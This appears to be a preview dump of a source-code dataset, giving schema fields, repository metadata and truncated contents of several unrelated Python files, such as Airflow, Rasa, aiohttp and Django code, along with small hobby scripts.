hexsha
stringlengths
40
40
size
int64
4
1.02M
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
209
max_stars_repo_name
stringlengths
5
121
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
209
max_issues_repo_name
stringlengths
5
121
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
209
max_forks_repo_name
stringlengths
5
121
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
4
1.02M
avg_line_length
float64
1.07
66.1k
max_line_length
int64
4
266k
alphanum_fraction
float64
0.01
1
43c4ebe597efd6cf8cbe74e384a873348824c349
13,422
py
Python
airflow/providers/cncf/kubernetes/utils/pod_launcher.py
legau/airflow
f200bb1977655455f8acb79c9bd265df36f8ffce
[ "Apache-2.0" ]
null
null
null
airflow/providers/cncf/kubernetes/utils/pod_launcher.py
legau/airflow
f200bb1977655455f8acb79c9bd265df36f8ffce
[ "Apache-2.0" ]
1
2021-03-27T03:46:45.000Z
2021-04-03T09:12:48.000Z
airflow/providers/cncf/kubernetes/utils/pod_launcher.py
dungdm93/airflow
6d25d63679085279ca1672c2eee2c45d6704efaa
[ "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSD-3-Clause" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
38.680115
109
0.622858
5a61edb9d2fda299f1c9809f23e74cd2425b8331
20,918
py
Python
recipes/google-cloud-cpp/all/conanfile.py
newlawrence/conan-center-index
c08c90b6f47302b78a1143a61ab6157ee235809b
[ "MIT" ]
null
null
null
recipes/google-cloud-cpp/all/conanfile.py
newlawrence/conan-center-index
c08c90b6f47302b78a1143a61ab6157ee235809b
[ "MIT" ]
5
2020-05-29T16:26:17.000Z
2020-12-29T20:44:10.000Z
recipes/google-cloud-cpp/all/conanfile.py
newlawrence/conan-center-index
c08c90b6f47302b78a1143a61ab6157ee235809b
[ "MIT" ]
null
null
null
import os from conans import ConanFile, CMake, tools from conans.errors import ConanInvalidConfiguration required_conan_version = ">=1.28.0" class GoogleCloudCppConan(ConanFile): name = "google-cloud-cpp" description = "C++ Client Libraries for Google Cloud Services" license = "Apache-2.0" topics = "...
74.707143
399
0.729467
166712378d41251624196d1057e5042269cd6e28
56,346
py
Python
farm/modeling/language_model.py
renaud/FARM
2a333826a27ce6daad530501905ff8cc6d1ab4f5
[ "Apache-2.0" ]
null
null
null
farm/modeling/language_model.py
renaud/FARM
2a333826a27ce6daad530501905ff8cc6d1ab4f5
[ "Apache-2.0" ]
null
null
null
farm/modeling/language_model.py
renaud/FARM
2a333826a27ce6daad530501905ff8cc6d1ab4f5
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors, The HuggingFace Inc. Team and deepset Team. # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You m...
43.746894
168
0.658272
ab7839c14a0e39f34dbae6384975e6d4ac4f9fe6
177
py
Python
importing/factorial.py
Tarabyte/pirple-python-assignments
abb2e693c27619e385b37c945c635e294fbf5eaf
[ "MIT" ]
null
null
null
importing/factorial.py
Tarabyte/pirple-python-assignments
abb2e693c27619e385b37c945c635e294fbf5eaf
[ "MIT" ]
null
null
null
importing/factorial.py
Tarabyte/pirple-python-assignments
abb2e693c27619e385b37c945c635e294fbf5eaf
[ "MIT" ]
null
null
null
""" Factorial Generator """ def factorial(): """Lets make factorial iterator""" i = 1 fact = 1 while True: yield fact i += 1 fact *= i
12.642857
38
0.491525
5152b85367a9750d4a31f9c4a498620dc6ccc4cd
163
py
Python
vcontrol/cli/providers/stats.py
dannypadilla/vcontrol
fe929e6138ec87e23cabd69b5c97ddb29603d0c6
[ "Apache-2.0" ]
5
2016-08-01T23:25:18.000Z
2019-06-02T00:10:32.000Z
vcontrol/cli/providers/stats.py
dannypadilla/vcontrol
fe929e6138ec87e23cabd69b5c97ddb29603d0c6
[ "Apache-2.0" ]
120
2016-08-02T02:00:31.000Z
2017-11-01T02:38:11.000Z
vcontrol/cli/providers/stats.py
dannypadilla/vcontrol
fe929e6138ec87e23cabd69b5c97ddb29603d0c6
[ "Apache-2.0" ]
15
2016-08-01T23:26:00.000Z
2019-11-09T13:17:54.000Z
import requests class StatsProviderC: def stats(self, args, daemon): r = requests.get(daemon+"/providers/stats/"+args.provider) return r.text
23.285714
66
0.674847
77f9862da72f1d646ee516129634bc914e736c9c
5,095
py
Python
src/primaires/joueur/editeurs/descedit/__init__.py
stormi/tsunami
bdc853229834b52b2ee8ed54a3161a1a3133d926
[ "BSD-3-Clause" ]
null
null
null
src/primaires/joueur/editeurs/descedit/__init__.py
stormi/tsunami
bdc853229834b52b2ee8ed54a3161a1a3133d926
[ "BSD-3-Clause" ]
null
null
null
src/primaires/joueur/editeurs/descedit/__init__.py
stormi/tsunami
bdc853229834b52b2ee8ed54a3161a1a3133d926
[ "BSD-3-Clause" ]
null
null
null
# -*-coding:Utf-8 -* # Copyright (c) 2013 CORTIER Benoît # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list...
40.436508
82
0.655545
0991e2e5eb418cdd36a2539a11df78972aa7d72f
7,683
py
Python
CoreSystem/examples/daidalus/example_daidalus.py
josuehfa/DAASystem
a1fe61ffc19f0781eeeddcd589137eefde078a45
[ "MIT" ]
1
2020-03-17T01:13:02.000Z
2020-03-17T01:13:02.000Z
CoreSystem/examples/daidalus/example_daidalus.py
josuehfa/DAASystem
a1fe61ffc19f0781eeeddcd589137eefde078a45
[ "MIT" ]
null
null
null
CoreSystem/examples/daidalus/example_daidalus.py
josuehfa/DAASystem
a1fe61ffc19f0781eeeddcd589137eefde078a45
[ "MIT" ]
1
2021-12-02T11:11:36.000Z
2021-12-02T11:11:36.000Z
from daidalus_wrapper import ConstrainedDelaunayTriangulation as CDT from daidalus_wrapper import Point from daidalus_wrapper import Daidalus from daidalus_wrapper import Units from daidalus_wrapper import LatLonAlt from daidalus_wrapper import Position from daidalus_wrapper import Velocity import daidalus_wrapper a...
30.488095
145
0.600156
692b9294020e7debf54dc175ee2839699c4cda80
10,123
py
Python
lambda.py
salendron/aquarinthia-alexa-skill
557b34d7a154f479f89953df580ba717b8d5658c
[ "MIT" ]
1
2017-01-23T10:05:56.000Z
2017-01-23T10:05:56.000Z
lambda.py
salendron/aquarinthia-alexa-skill
557b34d7a154f479f89953df580ba717b8d5658c
[ "MIT" ]
null
null
null
lambda.py
salendron/aquarinthia-alexa-skill
557b34d7a154f479f89953df580ba717b8d5658c
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import print_function import urllib import xml.etree.ElementTree as ET """ MIT License copyright 2017 Bruno Hautzenberger Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal ...
41.318367
164
0.648721
0efc7793cd71981a48a5c6bd86e5b90e0d103b7c
125
py
Python
units/prefixes/large.py
misspellted/enlightened
59fac50bb17a5a3236a9b4561b5ed0107825fb85
[ "Unlicense" ]
2
2021-03-03T05:57:51.000Z
2021-07-06T06:26:07.000Z
units/prefixes/large.py
misspellted/enlightened
59fac50bb17a5a3236a9b4561b5ed0107825fb85
[ "Unlicense" ]
6
2021-04-09T00:30:24.000Z
2022-03-14T16:08:37.000Z
units/prefixes/large.py
misspellted/enlightened
59fac50bb17a5a3236a9b4561b5ed0107825fb85
[ "Unlicense" ]
1
2021-03-03T06:00:46.000Z
2021-03-03T06:00:46.000Z
from units.prefixes import Prefix class Kilo(Prefix): def __init__(self): Prefix.__init__(self, "k", "kilo", 1e3)
12.5
43
0.68
f00ab68cccb2f9420be9f49db3fb00c6a0c7c95b
1,056
py
Python
setup.py
ylafon/bikeshed
76158db7a7495b27c1942d9989aa137ddf2ccafc
[ "CC0-1.0" ]
775
2015-01-06T16:58:59.000Z
2022-03-31T23:49:10.000Z
setup.py
ylafon/bikeshed
76158db7a7495b27c1942d9989aa137ddf2ccafc
[ "CC0-1.0" ]
1,495
2015-01-06T01:06:00.000Z
2022-03-31T20:16:13.000Z
setup.py
frivoal/bikeshed
132fff3bd80d0059b5a2ac0cd4e3317db34dec12
[ "CC0-1.0" ]
196
2015-01-26T23:56:59.000Z
2022-03-23T20:35:59.000Z
from setuptools import find_packages, setup with open("README.md") as fh: long_description = fh.read() with open("semver.txt") as fh: semver = fh.read().strip() with open("requirements.txt") as fh: install_requires = [x.strip() for x in fh.read().strip().split("\n")] setup( name="bikeshed", versio...
34.064516
84
0.675189
d61fe706bdd11e5906955eec807a8535c29a0206
15,587
py
Python
conflicts/tests/conflictBP_editCons_test.py
conzty01/RA_Scheduler
6bf4931871aef4058d93917e62ceb31766e06b3a
[ "MIT" ]
1
2021-03-31T05:26:17.000Z
2021-03-31T05:26:17.000Z
conflicts/tests/conflictBP_editCons_test.py
conzty01/RA_Scheduler
6bf4931871aef4058d93917e62ceb31766e06b3a
[ "MIT" ]
83
2018-03-19T18:32:34.000Z
2022-02-01T02:15:01.000Z
conflicts/tests/conflictBP_editCons_test.py
conzty01/RA_Scheduler
6bf4931871aef4058d93917e62ceb31766e06b3a
[ "MIT" ]
2
2021-01-15T22:16:00.000Z
2021-02-10T01:03:32.000Z
from unittest.mock import MagicMock, patch from scheduleServer import app from flask import Response import unittest import datetime from helperFunctions.helperFunctions import AuthenticatedUser class TestConflictBP_editCons(unittest.TestCase): def setUp(self): # Set up a number of items that will be use...
41.126649
108
0.656509
12611f1a433835a1291137dcaae8b3fb03b41404
34,378
py
Python
rasa/core/domain.py
cianclarke/rasa
c866e14bca14787169139b8fed8e6388136b139c
[ "Apache-2.0" ]
null
null
null
rasa/core/domain.py
cianclarke/rasa
c866e14bca14787169139b8fed8e6388136b139c
[ "Apache-2.0" ]
null
null
null
rasa/core/domain.py
cianclarke/rasa
c866e14bca14787169139b8fed8e6388136b139c
[ "Apache-2.0" ]
null
null
null
import collections import warnings import json import logging import os import typing from pathlib import Path from typing import Any, Dict, List, Optional, Text, Tuple, Union, Set import rasa.core.constants import rasa.utils.common as common_utils import rasa.utils.io from rasa.cli.utils import bcolors from rasa.cons...
37.165405
99
0.597126
9a3bababbf993b0271934a3d310e5d9c199592ec
1,403
py
Python
setup.py
fjbay/justpy
f878a28babfa67d5ceccc13afa03e21f97a63708
[ "Apache-2.0" ]
null
null
null
setup.py
fjbay/justpy
f878a28babfa67d5ceccc13afa03e21f97a63708
[ "Apache-2.0" ]
null
null
null
setup.py
fjbay/justpy
f878a28babfa67d5ceccc13afa03e21f97a63708
[ "Apache-2.0" ]
null
null
null
import setuptools def get_long_description(): with open("README.md", encoding="utf8") as f: return f.read() setuptools.setup( name="justpy", python_requires=">=3.6", version="0.1.5", license="Apache", author="Eliezer Mintz", author_email="eli.mintz@gmail.com", description="An o...
35.075
108
0.635068
1eb6f6a1b08d5259fa9e59e2e067497b2ba09a9f
9,049
py
Python
samurai/reparameterize.py
jlustigy/samurai
ed46e45600956581c94ae44d820e06c35c464962
[ "MIT" ]
1
2021-01-05T07:27:40.000Z
2021-01-05T07:27:40.000Z
samurai/reparameterize.py
jlustigy/samurai
ed46e45600956581c94ae44d820e06c35c464962
[ "MIT" ]
null
null
null
samurai/reparameterize.py
jlustigy/samurai
ed46e45600956581c94ae44d820e06c35c464962
[ "MIT" ]
null
null
null
import numpy as np #--------------------------------------------------- def transform_Y2X(Y_array, n_type, n_band, n_slice, flatten=False): Y_array = np.maximum(Y_array, -10) Y_array = np.minimum(Y_array, 10) # 'albedo' part Y_albd_kj_flat = Y_array[0:n_type*n_band] X_albd_kj_flat = np.exp( Y_alb...
37.704167
121
0.623273
2b497085a2e18c29a00d2e6f25e897cf9850c149
13,040
py
Python
aiohttp/web_fileresponse.py
ikamensh/aiohttp
d836d9b6b6050f9827e39997163a4b194a3a1314
[ "Apache-2.0" ]
1
2021-03-26T11:06:21.000Z
2021-03-26T11:06:21.000Z
aiohttp/web_fileresponse.py
ikamensh/aiohttp
d836d9b6b6050f9827e39997163a4b194a3a1314
[ "Apache-2.0" ]
224
2020-10-25T12:21:48.000Z
2022-03-31T08:05:18.000Z
aiohttp/web_fileresponse.py
ikamensh/aiohttp
d836d9b6b6050f9827e39997163a4b194a3a1314
[ "Apache-2.0" ]
null
null
null
import asyncio import mimetypes import os import pathlib from functools import partial from typing import ( # noqa IO, TYPE_CHECKING, Any, Awaitable, Callable, List, Optional, Union, cast, ) from . import hdrs from .abc import AbstractStreamWriter from .base_protocol import BasePro...
36.121884
87
0.586656
18d3b1977e98f39f700fae0d6157a440f0f09424
490
py
Python
src/test.py
tim19683/py-cipher
c26ea9fe47dd5496855217835b42c89cea924836
[ "MIT" ]
null
null
null
src/test.py
tim19683/py-cipher
c26ea9fe47dd5496855217835b42c89cea924836
[ "MIT" ]
1
2017-10-01T20:57:34.000Z
2017-10-15T13:32:38.000Z
src/test.py
tim-clifford/py-cipher
c26ea9fe47dd5496855217835b42c89cea924836
[ "MIT" ]
null
null
null
import file ciphertext = str(file.openAsAscii("cipher.txt"),"utf-8").replace(" ","") matches = 0 diffs = set() for wordlen in range(7,10): for wordIndex in range(len(ciphertext)-wordlen): for word2Index in range(wordIndex+wordlen,len(ciphertext) - wordlen): word,word2 = ciphertext[wordIndex:wordIndex+wordlen],cip...
37.692308
97
0.732653
71c0a9e7636d3559848597b1b8ec80b087fb115e
497
py
Python
build/lib/dataq_di_245/_version.py
vstadnytskyi/dataq-di-245
9670383537eb33179210dcdc0deb58ab3936448e
[ "BSD-3-Clause" ]
null
null
null
build/lib/dataq_di_245/_version.py
vstadnytskyi/dataq-di-245
9670383537eb33179210dcdc0deb58ab3936448e
[ "BSD-3-Clause" ]
1
2019-11-02T18:32:38.000Z
2019-11-02T18:32:38.000Z
build/lib/dataq_di_245/_version.py
vstadnytskyi/dataq-di-245
9670383537eb33179210dcdc0deb58ab3936448e
[ "BSD-3-Clause" ]
null
null
null
# This file was generated by 'versioneer.py' (0.18) from # revision-control system data, or from the parent directory name of an # unpacked source archive. Distribution tarballs contain a pre-generated copy # of this file. import json version_json = ''' { "date": "2019-11-05T17:04:26-0500", "dirty": false, "error...
22.590909
77
0.720322
91d96106e788879f8999d027a2b13659683e54a1
4,533
py
Python
prefs_shortcut_keymap.py
BlenderNPR/Abnormal
0db8471b2cf6832c74aa2a7e8c60c18218703300
[ "MIT" ]
133
2020-03-25T14:22:15.000Z
2021-01-05T16:23:36.000Z
prefs_shortcut_keymap.py
bnpr/Abnormal
0db8471b2cf6832c74aa2a7e8c60c18218703300
[ "MIT" ]
12
2021-01-28T09:57:56.000Z
2022-03-13T19:48:06.000Z
prefs_shortcut_keymap.py
bnpr/Abnormal
0db8471b2cf6832c74aa2a7e8c60c18218703300
[ "MIT" ]
8
2021-06-24T05:52:09.000Z
2022-03-28T05:52:12.000Z
import bpy from bpy.types import PropertyGroup from bpy.props import * from .keymap import addon_keymaps class prefs(PropertyGroup): brush_circle_select: BoolProperty(default=False) def label_row(path, prop, row, label): row.label(text=label) row.prop(path, prop, text='') def keymap_row(items, key, r...
30.836735
78
0.627399
2dac794b0dcded389da1585caf864f4ac96d80f2
121
py
Python
sjourney/app/admin.py
NdagiStanley/symmetrical-journey
3079f97822037f0ae908e91e7bf1fc350742fba0
[ "MIT" ]
3
2017-01-29T02:43:46.000Z
2019-02-18T08:42:00.000Z
sjourney/app/admin.py
NdagiStanley/symmetrical-journey
3079f97822037f0ae908e91e7bf1fc350742fba0
[ "MIT" ]
52
2016-05-17T21:31:57.000Z
2021-07-21T02:28:22.000Z
sjourney/app/admin.py
NdagiStanley/symmetrical-journey
3079f97822037f0ae908e91e7bf1fc350742fba0
[ "MIT" ]
1
2017-09-10T11:33:37.000Z
2017-09-10T11:33:37.000Z
from django.contrib import admin # Register your models here. from .models import Picture admin.site.register(Picture)
17.285714
32
0.801653
c269a62147e54402bfd1d074093148d0d2ad4402
8,086
py
Python
tukio/task/factory.py
optiflows/tukio
6b1443631473a1445b5f525945b0177f152d2729
[ "ECL-2.0", "Apache-2.0" ]
22
2016-04-26T07:27:41.000Z
2019-03-05T19:37:22.000Z
tukio/task/factory.py
surycat/tukio
6b1443631473a1445b5f525945b0177f152d2729
[ "ECL-2.0", "Apache-2.0" ]
13
2016-05-29T14:28:40.000Z
2018-05-04T08:36:54.000Z
tukio/task/factory.py
optiflows/tukio
6b1443631473a1445b5f525945b0177f152d2729
[ "ECL-2.0", "Apache-2.0" ]
3
2016-08-11T09:07:38.000Z
2017-09-13T06:55:03.000Z
import asyncio import logging import inspect from copy import copy from enum import Enum from uuid import uuid4 from datetime import datetime, timezone from tukio.event import EventSource, Event from tukio.utils import FutureState, SkipTask from tukio.broker import get_broker, workflow_exec_topics from .task import T...
30.284644
80
0.594855
f1600f9b1e3eb13c06f9d2d7cd0413364904aa31
580
py
Python
poloniex/utils.py
absortium/poloniex
e1786e8edf9116990dc2291f343ed965e9d0f5ae
[ "MIT" ]
99
2016-07-23T18:01:18.000Z
2019-02-16T21:03:56.000Z
poloniex/utils.py
absortium/poloniex
e1786e8edf9116990dc2291f343ed965e9d0f5ae
[ "MIT" ]
22
2016-09-05T12:20:47.000Z
2020-10-26T04:00:06.000Z
poloniex/utils.py
absortium/poloniex
e1786e8edf9116990dc2291f343ed965e9d0f5ae
[ "MIT" ]
40
2016-07-28T16:20:19.000Z
2019-02-18T20:14:42.000Z
__author__ = 'andrew.shvv@gmail.com' class switch(object): def __init__(self, value): self.value = value self.fall = False def __iter__(self): """Return the match method once, then stop""" yield self.match raise StopIteration def match(self, *args): """Ind...
25.217391
63
0.568966
5e62bb59d2bcbca697c8f454b140eed6513be8f7
481
py
Python
reinvent-2019/autoponics/thing-app/actuators/pump.py
kienpham2000/aws-builders-fair-projects
6c4075c0945a6318b217355a6fc663e35ffb9dba
[ "Apache-2.0" ]
2
2019-12-17T03:38:38.000Z
2021-05-28T06:23:58.000Z
reinvent-2019/autoponics/thing-app/actuators/pump.py
kienpham2000/aws-builders-fair-projects
6c4075c0945a6318b217355a6fc663e35ffb9dba
[ "Apache-2.0" ]
8
2021-05-09T06:05:46.000Z
2022-03-02T09:53:20.000Z
reinvent-2019/autoponics/thing-app/actuators/pump.py
kienpham2000/aws-builders-fair-projects
6c4075c0945a6318b217355a6fc663e35ffb9dba
[ "Apache-2.0" ]
1
2020-02-05T04:45:42.000Z
2020-02-05T04:45:42.000Z
from .actuator import Actuator import RPi.GPIO as GPIO class Pump(Actuator): def __init__(self, no): Actuator.__init__(self) self.gpio = int(self.config["gpio"]["pump" + str(no)]) GPIO.setmode(GPIO.BCM) GPIO.setup(self.gpio, GPIO.OUT) GPIO.output(self.gpio, GPIO.HIGH) ...
22.904762
62
0.594595
0f07c6cd6c7c5a18fbcf92a41ddc6eb0db845950
902
py
Python
baekjoon/python/install_accesspoint_2110.py
yskang/AlgorithmPractice
31b76e38b4c2f1e3e29fb029587662a745437912
[ "MIT" ]
null
null
null
baekjoon/python/install_accesspoint_2110.py
yskang/AlgorithmPractice
31b76e38b4c2f1e3e29fb029587662a745437912
[ "MIT" ]
1
2019-11-04T06:44:04.000Z
2019-11-04T06:46:55.000Z
baekjoon/python/install_accesspoint_2110.py
yskang/AlgorithmPractice
31b76e38b4c2f1e3e29fb029587662a745437912
[ "MIT" ]
null
null
null
# Title: 공유기 설치 # Link: https://www.acmicpc.net/problem/2110 import sys sys.setrecursionlimit(10 ** 6) read_list_int = lambda: list(map(int, sys.stdin.readline().strip().split(' '))) read_single_int = lambda: int(sys.stdin.readline().strip()) def solution(n: int, ns: list, c: int): ns = sorted(ns) left, ri...
20.5
79
0.51663
2015d0b7961738f817b586a39dbb1ae3bc77d48e
1,162
py
Python
toypro/users/tests/test_forms.py
jaypyon/ToyPro
0af9653de1d3895a1895c65f15db1dc39c70dd8d
[ "MIT" ]
4
2021-04-02T07:10:58.000Z
2021-04-05T06:32:06.000Z
toypro/users/tests/test_forms.py
jaypyon/ToyPro
0af9653de1d3895a1895c65f15db1dc39c70dd8d
[ "MIT" ]
1
2021-04-04T04:43:53.000Z
2021-04-04T04:43:53.000Z
toypro/users/tests/test_forms.py
jaypyon/ToyPro
0af9653de1d3895a1895c65f15db1dc39c70dd8d
[ "MIT" ]
1
2021-04-02T07:10:59.000Z
2021-04-02T07:10:59.000Z
""" Module for all Form Tests. """ import pytest from django.utils.translation import ugettext_lazy as _ from toypro.users.forms import UserCreationForm from toypro.users.models import User pytestmark = pytest.mark.django_db class TestUserCreationForm: """ Test class for all tests related to the UserCreatio...
29.05
87
0.628227
6fb6828c21a98bb528f8b073058bd76da65e1a58
453
py
Python
space_manager/seats/migrations/0022_identity_is_youth.py
yoojat/Space-Manager
dd482eb8a3ac8b5d4d06c63e5a5d9ccaeb3ce7b9
[ "MIT" ]
null
null
null
space_manager/seats/migrations/0022_identity_is_youth.py
yoojat/Space-Manager
dd482eb8a3ac8b5d4d06c63e5a5d9ccaeb3ce7b9
[ "MIT" ]
1
2018-02-27T15:21:53.000Z
2018-02-27T15:21:53.000Z
space_manager/seats/migrations/0022_identity_is_youth.py
yoojat/Space-Manager
dd482eb8a3ac8b5d4d06c63e5a5d9ccaeb3ce7b9
[ "MIT" ]
1
2018-02-16T08:31:30.000Z
2018-02-16T08:31:30.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-05-09 12:26 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('seats', '0021_auto_20180509_1220'), ] operations = [ migrations.AddField( ...
21.571429
52
0.618102
67391214f33ae4305e40b6b651d319659895013a
618
py
Python
Conditionals and Loops/Check_number.py
jarvis-1805/DSAwithPYTHON
872073d1b8d0001ea8b1a54b5e327dd0c1c406f2
[ "Apache-2.0" ]
1
2021-03-21T18:54:34.000Z
2021-03-21T18:54:34.000Z
Conditionals and Loops/Check_number.py
jarvis-1805/DSAwithPYTHON
872073d1b8d0001ea8b1a54b5e327dd0c1c406f2
[ "Apache-2.0" ]
null
null
null
Conditionals and Loops/Check_number.py
jarvis-1805/DSAwithPYTHON
872073d1b8d0001ea8b1a54b5e327dd0c1c406f2
[ "Apache-2.0" ]
null
null
null
''' Check number Given an integer n, find if n is positive, negative or 0. If n is positive, print "Positive" If n is negative, print "Negative" And if n is equal to 0, print "Zero". Input Format : Integer n Output Format : "Positive" or "Negative" or "Zero" (without double quotes) Constraints : 1 <= n <= 100 Samp...
15.846154
58
0.677994
38f59f4665dbd9ed1c803a17e336fdec91b8607d
732
py
Python
functions/python/maria.py
swiftycloud/swifty.todoapp
1a36c6e6f1af4584a8c0151e15e9ffcf2453f8c1
[ "MIT" ]
5
2018-11-08T17:07:43.000Z
2019-04-23T15:18:31.000Z
functions/python/maria.py
swiftycloud/swifty.todoapp
1a36c6e6f1af4584a8c0151e15e9ffcf2453f8c1
[ "MIT" ]
null
null
null
functions/python/maria.py
swiftycloud/swifty.todoapp
1a36c6e6f1af4584a8c0151e15e9ffcf2453f8c1
[ "MIT" ]
3
2018-11-08T17:07:47.000Z
2020-11-22T00:20:38.000Z
import pymysql.cursors import os import swifty def Main(req): db = swifty.MariaConn(req.args['dbname']) res = "invalid" with db.cursor() as cursor: if req.args['action'] == 'create': cursor.execute("CREATE TABLE `data` (`key` VARCHAR(64), `val` VARCHAR(64))") res = "done" ...
36.6
115
0.54235
ff17b942fd18b3d722ef853a6c6c4a0054aece8f
10,781
py
Python
src/ebay_rest/api/buy_browse/models/available_coupon.py
craiga/ebay_rest
a0be2677c65a787e9566df848ffa3ad0c309a9d9
[ "MIT" ]
null
null
null
src/ebay_rest/api/buy_browse/models/available_coupon.py
craiga/ebay_rest
a0be2677c65a787e9566df848ffa3ad0c309a9d9
[ "MIT" ]
null
null
null
src/ebay_rest/api/buy_browse/models/available_coupon.py
craiga/ebay_rest
a0be2677c65a787e9566df848ffa3ad0c309a9d9
[ "MIT" ]
null
null
null
# coding: utf-8 """ Browse API <p>The Browse API has the following resources:</p> <ul> <li><b> item_summary: </b> Lets shoppers search for specific items by keyword, GTIN, category, charity, product, or item aspects and refine the results by using filters, such as aspects, compatibility, and fields values.<...
43.297189
2,314
0.652908
929efac02ec7ac86af835afa80f04fbae1b58076
753
py
Python
polling_stations/apps/api/authentication/authentication.py
mtravis/UK-Polling-Stations
26e0331dc29253dc436a0462ffaa01e974c5dc52
[ "BSD-3-Clause" ]
29
2015-03-10T08:41:34.000Z
2022-01-12T08:51:38.000Z
polling_stations/apps/api/authentication/authentication.py
mtravis/UK-Polling-Stations
26e0331dc29253dc436a0462ffaa01e974c5dc52
[ "BSD-3-Clause" ]
4,112
2015-04-01T21:27:38.000Z
2022-03-31T19:22:11.000Z
polling_stations/apps/api/authentication/authentication.py
mtravis/UK-Polling-Stations
26e0331dc29253dc436a0462ffaa01e974c5dc52
[ "BSD-3-Clause" ]
31
2015-03-18T14:52:50.000Z
2022-02-24T10:31:07.000Z
from rest_framework.authentication import TokenAuthentication class TokenAuthSupportQueryString(TokenAuthentication): """ Extend the TokenAuthentication class to support querystring authentication in the form of "http://www.example.com/?auth_token=<token_key>" """ def authenticate(self, request):...
37.65
88
0.698539
9da3380c9f82131e8e01202254d7b1c9b779d3bc
1,133
py
Python
disagreements/logging_info.py
yotamitai/Agent-Disagreements
858583db448c5621273824527f1f4181ebf55a2b
[ "MIT" ]
null
null
null
disagreements/logging_info.py
yotamitai/Agent-Disagreements
858583db448c5621273824527f1f4181ebf55a2b
[ "MIT" ]
null
null
null
disagreements/logging_info.py
yotamitai/Agent-Disagreements
858583db448c5621273824527f1f4181ebf55a2b
[ "MIT" ]
null
null
null
import json import logging from datetime import datetime from os import makedirs from os.path import abspath, exists, basename, join from pathlib import Path from disagreements.ARCHIVE_utils import make_clean_dirs def get_logging(args): if not exists(abspath('logs')): makedirs('logs') name = '_'.join...
35.40625
96
0.658429
8500c1ec158e9bf6551d9c8ec6a07f5551c3d81d
2,105
py
Python
py/s2s04json2sinopia.py
uwlib-cams/sinopia_maps
bb4770684a1326a8aac532bbb660237a6f5d4297
[ "CC0-1.0" ]
null
null
null
py/s2s04json2sinopia.py
uwlib-cams/sinopia_maps
bb4770684a1326a8aac532bbb660237a6f5d4297
[ "CC0-1.0" ]
19
2021-12-05T03:31:51.000Z
2022-03-26T05:26:29.000Z
py/s2s04json2sinopia.py
uwlib-cams/sinopia_maps
bb4770684a1326a8aac532bbb660237a6f5d4297
[ "CC0-1.0" ]
null
null
null
import os import requests """Create list of JSON-LD RTs""" # add all files to list JSONLD_RT_list = os.listdir('../docs/rdf/') # remove files that are not JSON-LD RTs remove_list = [] for file in JSONLD_RT_list: if "_RT_" not in file: remove_list.append(file) elif ".json" not in file: ...
33.951613
101
0.5962
5ec68eff033773dea727b016804bd38a01c49387
6,767
py
Python
tensorflow_probability/python/bijectors/matveclu.py
bolcom/probability
4a11efad1ecd8a1336e4c9fdb0105efbf2375ad7
[ "Apache-2.0" ]
null
null
null
tensorflow_probability/python/bijectors/matveclu.py
bolcom/probability
4a11efad1ecd8a1336e4c9fdb0105efbf2375ad7
[ "Apache-2.0" ]
null
null
null
tensorflow_probability/python/bijectors/matveclu.py
bolcom/probability
4a11efad1ecd8a1336e4c9fdb0105efbf2375ad7
[ "Apache-2.0" ]
null
null
null
# Copyright 2018 The TensorFlow Probability Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
35.429319
80
0.683316
099def80a65f65c18b19de52e132575c44bd69d7
765
py
Python
qdef2d/logging.py
aztan2/charged-defects-framework
db23be39f580bb110abe0b2a2fb5da415fb6a381
[ "MIT" ]
4
2019-09-13T09:38:51.000Z
2020-12-11T00:12:49.000Z
qdef2d/logging.py
aztan2/charged-defects-framework
db23be39f580bb110abe0b2a2fb5da415fb6a381
[ "MIT" ]
1
2021-05-21T05:32:31.000Z
2021-05-21T06:18:45.000Z
qdef2d/logging.py
aztan2/charged-defects-framework
db23be39f580bb110abe0b2a2fb5da415fb6a381
[ "MIT" ]
3
2019-09-13T09:35:06.000Z
2020-12-10T14:35:44.000Z
import logging def setup_logging(logfile=None): logger = logging.getLogger() if logger.hasHandlers(): logger.handlers = [] logging.getLogger('matplotlib.font_manager').disabled = True if logfile: file = logging.FileHandler(logfile) file.setLevel(logging.DEBUG) ...
29.423077
83
0.628758
adb7cc5fb2317ef9b5c52e004429038d24de8f95
1,317
py
Python
test300_python/test_solution1.py
JackieMa000/problems
c521558830a0bbf67f94109af92d7be4397d0a43
[ "BSD-3-Clause" ]
null
null
null
test300_python/test_solution1.py
JackieMa000/problems
c521558830a0bbf67f94109af92d7be4397d0a43
[ "BSD-3-Clause" ]
1
2020-10-23T04:06:56.000Z
2020-10-23T04:06:56.000Z
